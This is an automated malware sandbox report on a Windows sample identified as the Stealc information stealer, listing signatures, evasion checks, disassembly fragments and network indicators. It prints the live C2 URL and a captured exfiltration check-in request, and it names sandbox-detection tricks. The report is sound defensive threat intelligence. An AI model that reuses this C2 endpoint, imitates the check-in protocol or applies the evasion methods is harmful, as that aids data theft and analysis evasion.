Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1543701
MD5:	f522fe27067daea4f7987bf85ec1e287
SHA1:	d3179eac21c33134b326721db3eec7b7d1f1ac5f
SHA256:	3c60d4aebf5332d3a7fc6ea700f8ab74addba285246ba9cf94968a41cc11480a
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found evaded block containing many API calls

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 6828 cmdline: "C:\Users\user\Desktop\file.exe" MD5: F522FE27067DAEA4F7987BF85EC1E287)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1765760995.000000000165E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1721174254.0000000005370000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 6828	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6828	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.d30000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T09:24:20.252534+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49729	185.215.113.206	80	TCP

Code function: 0_2_00D362D0 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00D362D0

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDBGHDHCGHCAAKEBKECBHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 42 47 48 44 48 43 47 48 43 41 41 4b 45 42 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 31 33 31 41 31 33 43 41 43 34 33 33 34 33 30 33 37 33 35 33 31 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 44 48 43 47 48 43 41 41 4b 45 42 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 44 48 43 47 48 43 41 41 4b 45 42 4b 45 43 42 2d 2d 0d 0a Data Ascii: ------HDBGHDHCGHCAAKEBKECBContent-Disposition: form-data; name="hwid"C131A13CAC433430373531------HDBGHDHCGHCAAKEBKECBContent-Disposition: form-data; name="build"tale------HDBGHDHCGHCAAKEBKECB--

Source: file.exe, 00000000.00000002.1765760995.000000000165E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.1765760995.00000000016B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.1765760995.00000000016A4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1765760995.00000000016B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: file.exe, 00000000.00000002.1765760995.00000000016B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/
Source: file.exe, 00000000.00000002.1765760995.00000000016B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/(
Source: file.exe, 00000000.00000002.1765760995.00000000016A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php5e
Source: file.exe, 00000000.00000002.1765760995.00000000016A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpS
Source: file.exe, 00000000.00000002.1765760995.00000000016B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/:
Source: file.exe, 00000000.00000002.1765760995.00000000016B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/i
Source: file.exe, 00000000.00000002.1765760995.00000000016B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: file.exe, file.exe, 00000000.00000003.1721174254.000000000539B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D70098	0_2_00D70098
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D8B198	0_2_00D8B198
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0118D050	0_2_0118D050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011980DC	0_2_011980DC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D62138	0_2_00D62138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D74288	0_2_00D74288
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D9E258	0_2_00D9E258
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DAD39E	0_2_00DAD39E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01183254	0_2_01183254
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01188284	0_2_01188284
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBB308	0_2_00DBB308
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0119051F	0_2_0119051F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D9D5A8	0_2_00D9D5A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D745A8	0_2_00D745A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D5E544	0_2_00D5E544
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D54573	0_2_00D54573
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0113D703	0_2_0113D703
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D766C8	0_2_00D766C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01186739	0_2_01186739
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DB96FD	0_2_00DB96FD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DAA648	0_2_00DAA648
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010F77F7	0_2_010F77F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0118B60E	0_2_0118B60E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01038639	0_2_01038639
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DA6799	0_2_00DA6799
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D8D720	0_2_00D8D720
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01059905	0_2_01059905
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D9F8D6	0_2_00D9F8D6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D898B8	0_2_00D898B8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D8B8A8	0_2_00D8B8A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D84868	0_2_00D84868
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DA0B88	0_2_00DA0B88
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DA4BA8	0_2_00DA4BA8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01198AE7	0_2_01198AE7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0122AD22	0_2_0122AD22
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DAAC28	0_2_00DAAC28
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D84DC8	0_2_00D84DC8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D85DB9	0_2_00D85DB9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01189CBA	0_2_01189CBA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D61D78	0_2_00D61D78
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D8BD68	0_2_00D8BD68
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D9AD38	0_2_00D9AD38
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DA1EE8	0_2_00DA1EE8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D78E78	0_2_00D78E78
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01216EB5	0_2_01216EB5

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 00D34610 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: pngrdmjc ZLIB complexity 0.9948482190148306

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D49790 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00D49790

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D43970 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00D43970

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\5J6FG5MR.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 2129920 > 1048576

Source: file.exe

Static PE information: Raw size of pngrdmjc is bigger than: 0x100000 < 0x19d000

Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000003.1721174254.000000000539B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmp
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000003.1721174254.000000000539B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.d30000.0.unpack :EW;.rsrc :W;.idata :W; :EW;pngrdmjc:EW;vsguhmza:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;pngrdmjc:EW;vsguhmza:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D49BB0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00D49BB0

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x21493d should be: 0x20bf42

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: pngrdmjc
Source: file.exe	Static PE information: section name: vsguhmza
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0122B122 push 61C01C88h; mov dword ptr [esp], esp	0_2_0122B259
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D5A0DC push eax; retf	0_2_00D5A0F1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D5A0F2 push eax; retf	0_2_00D5A119
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0120416D push 421BFCC3h; mov dword ptr [esp], edi	0_2_01204190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012381AB push 1C151EE5h; mov dword ptr [esp], ebp	0_2_012381D1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012381AB push edi; mov dword ptr [esp], edx	0_2_01238235
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0125D03C push 761406FBh; mov dword ptr [esp], esi	0_2_0125D081
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0125D03C push 2C37DD47h; mov dword ptr [esp], edx	0_2_0125D115
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011B9023 push edx; mov dword ptr [esp], ebp	0_2_011B907D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0118D050 push ecx; mov dword ptr [esp], eax	0_2_0118D06E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0118D050 push edx; mov dword ptr [esp], 69FD8B6Fh	0_2_0118D0F9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0118D050 push eax; mov dword ptr [esp], ebp	0_2_0118D108
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0118D050 push 63BCAFB8h; mov dword ptr [esp], ebp	0_2_0118D181
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0118D050 push esi; mov dword ptr [esp], 7FD78C74h	0_2_0118D192
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0118D050 push 62553831h; mov dword ptr [esp], esi	0_2_0118D23A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0118D050 push eax; mov dword ptr [esp], ebp	0_2_0118D270
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0118D050 push 61E43BE7h; mov dword ptr [esp], esi	0_2_0118D33D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0118D050 push 2842D236h; mov dword ptr [esp], ebx	0_2_0118D3A5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0118D050 push ebx; mov dword ptr [esp], 45340E4Ch	0_2_0118D48E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0118D050 push ecx; mov dword ptr [esp], ebp	0_2_0118D4A1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0118D050 push ebp; mov dword ptr [esp], esi	0_2_0118D4BF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0118D050 push edi; mov dword ptr [esp], 7BBF7215h	0_2_0118D4C3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0118D050 push ecx; mov dword ptr [esp], 54CBEFC5h	0_2_0118D571
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0118D050 push 149B18F0h; mov dword ptr [esp], ebp	0_2_0118D5FB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0118D050 push ebp; mov dword ptr [esp], edx	0_2_0118D64A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0118D050 push 55FFB401h; mov dword ptr [esp], ecx	0_2_0118D6F6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0118D050 push edi; mov dword ptr [esp], eax	0_2_0118D796
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0118D050 push 2A34903Eh; mov dword ptr [esp], edx	0_2_0118D855
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0118D050 push ebx; mov dword ptr [esp], edx	0_2_0118D859
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0118D050 push 0970A36Bh; mov dword ptr [esp], ecx	0_2_0118D903
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0118D050 push edi; mov dword ptr [esp], edx	0_2_0118D92E

Source: file.exe

Static PE information: section name: pngrdmjc entropy: 7.954059583965191

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00D49BB0

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-36496

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101E230 second address: 101E23D instructions: 0x00000000 rdtsc 0x00000002 ja 00007F5C20C5AC36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119C98E second address: 119C99D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F5C2120954Eh 0x0000000b push edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119C99D second address: 119C9A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119C9A1 second address: 119C9B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5C2120954Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119CD7C second address: 119CDB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F5C20C5AC51h 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F5C20C5AC49h 0x00000012 jmp 00007F5C20C5AC3Dh 0x00000017 push ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A0F47 second address: 11A0F4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A0F4E second address: 11A0FB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 add dword ptr [esp], 33252243h 0x0000000e mov edx, eax 0x00000010 push 00000003h 0x00000012 mov edi, dword ptr [ebp+122D1D16h] 0x00000018 mov dword ptr [ebp+122D3943h], esi 0x0000001e push 00000000h 0x00000020 cld 0x00000021 push 00000003h 0x00000023 mov ecx, eax 0x00000025 push C5C79288h 0x0000002a pushad 0x0000002b jnl 00007F5C20C5AC47h 0x00000031 js 00007F5C20C5AC38h 0x00000037 push eax 0x00000038 pop eax 0x00000039 popad 0x0000003a xor dword ptr [esp], 05C79288h 0x00000041 xor dword ptr [ebp+122D316Ch], edx 0x00000047 lea ebx, dword ptr [ebp+12456D62h] 0x0000004d push eax 0x0000004e push eax 0x0000004f push edx 0x00000050 jmp 00007F5C20C5AC3Ah 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A102F second address: 11A1034 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A1034 second address: 11A105B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C20C5AC49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b je 00007F5C20C5AC3Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A115F second address: 11A1164 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A1164 second address: 11A11A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push eax 0x00000011 call 00007F5C20C5AC38h 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b add dword ptr [esp+04h], 0000001Bh 0x00000023 inc eax 0x00000024 push eax 0x00000025 ret 0x00000026 pop eax 0x00000027 ret 0x00000028 or dword ptr [ebp+122D27AEh], ebx 0x0000002e push 52473181h 0x00000033 pushad 0x00000034 pushad 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A12BB second address: 11A12BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A12BF second address: 11A12C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BF381 second address: 11BF387 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BF387 second address: 11BF39F instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5C20C5AC36h 0x00000008 jnp 00007F5C20C5AC36h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jg 00007F5C20C5AC36h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BF65E second address: 11BF668 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BFF61 second address: 11BFF83 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F5C20C5AC36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e ja 00007F5C20C5AC36h 0x00000014 jmp 00007F5C20C5AC3Eh 0x00000019 rdtsc
